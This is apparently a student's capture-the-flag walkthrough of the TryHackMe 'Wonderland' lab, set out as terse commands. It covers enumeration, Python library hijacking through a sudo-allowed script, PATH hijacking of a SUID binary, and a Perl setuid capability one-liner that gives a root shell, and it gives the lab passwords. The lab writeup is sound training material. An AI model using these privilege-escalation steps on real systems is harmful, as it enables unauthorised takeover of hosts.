← CTF archive

· Date recorded in the note

[TryHackMe] Wonderland

Étudiant Date Sujet
Hamza Terir 31/07/2023 Wonderland

Setting up:

setupmachine Wonderland

Initializing the variable:

export machine="10.10.52.162"

Enumeration:

3NUM $machine

PORTS : (22,80)

Screenshot

Screenshot

Continuing enumeration:

export url="http://10.10.52.162/r/a/b/b/"
feroxbuster --url $url

Screenshot

Hidden directory: http://10.10.52.162/r/a/b/b/i/t/

Screenshot

Finding the hidden text:

echo "alice" > users.txt
echo "HowDothTheLittleCrocodileImproveHisShiningTail" > passwords.txt

Screenshot

sudo -l

Screenshot

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Screenshot

nano random.py

random.py:

import os
os.system("/bin/bash")

Triggering it:

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Switched to the rabbit account:

Screenshot

The binary has the SUID bit set, so it runs with its owner’s privileges.

Screenshot

Screenshot

echo "/bin/bash" > date
cp date /tmp/date

#Adding /tmp to path
echo PATH=/tmp:$PATH
echo $PATH

#Run 
./teaParty

Screenshot

password.txt in hatter’s directory:

Screenshot

SUID Capabilities :

getcap -r / 2>/dev/null

Screenshot

We found capabilities on Perl.

Using capabilities for privilege escalation:

Screenshot

Opening an SSH session as hatter:

ssh hatter@10.10.52.162
WhyIsARavenLikeAWritingDesk?

Screenshot

Using the capability:

/usr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Screenshot

Got root!